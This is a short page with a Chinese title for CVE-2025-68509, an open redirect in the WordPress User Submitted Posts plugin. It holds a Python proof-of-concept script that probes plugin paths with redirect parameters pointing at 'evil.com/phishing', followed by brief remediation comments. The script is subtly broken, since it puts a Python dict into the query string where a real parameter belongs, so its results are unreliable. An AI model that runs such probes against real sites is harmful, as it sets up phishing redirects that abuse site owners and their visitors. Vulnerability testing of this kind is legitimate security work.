CVE-2025-68509 WordPress User Submitted Posts插件开放重定向漏洞

import requests # CVE-2025-68509 PoC - Open Redirect in User Submitted Posts WordPress Plugin # Target: WordPress site with User Submitted Posts plugin <= 20251121 def test_open_redirect(target_url): """ Test for Open Redirect vulnerability in User Submitted Posts plugin. Parameters: target_url: Base URL of the WordPress site (e.g., https://example.com) """ # Malicious redirect target (attacker-controlled domain) evil_domain = "https://evil.com/phishing" # Common paths for User Submitted Posts plugin paths = [ "/wp-content/plugins/user-submitted-posts/", "/wp-content/plugins/user-submitted-posts/resources/", "/wp-content/plugins/user-submitted-posts/inc/submission-form.php" ] for path in paths: # Test redirect parameter (common parameter names) params = [ {"redirect": evil_domain}, {"url": evil_domain}, {"redir": evil_domain}, {"return": evil_domain}, {"redirect_to": evil_domain}, {"continue": evil_domain} ] for param in params: full_url = f"{target_url}{path}?{param}" try: response = requests.get(full_url, allow_redirects=False, timeout=10) # Check if Location header points to external domain if 'Location' in response.headers: location = response.headers['Location'] if evil_domain in location or 'evil.com' in location: print(f"[VULNERABLE] Open Redirect found!") print(f"URL: {full_url}") print(f"Location: {location}") return True # Also check for meta refresh or JavaScript redirects if response.status_code in [301, 302, 303, 307, 308]: print(f"[INFO] Potential redirect at {full_url}") except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "https://target-site.com" test_open_redirect(target) # Remediation: # 1. Update User Submitted Posts plugin to version > 20251121 # 2. Implement URL whitelist for redirect targets # 3. Add referer checking to prevent CSRF-based redirects # 4. Display warning to users before redirecting to external domains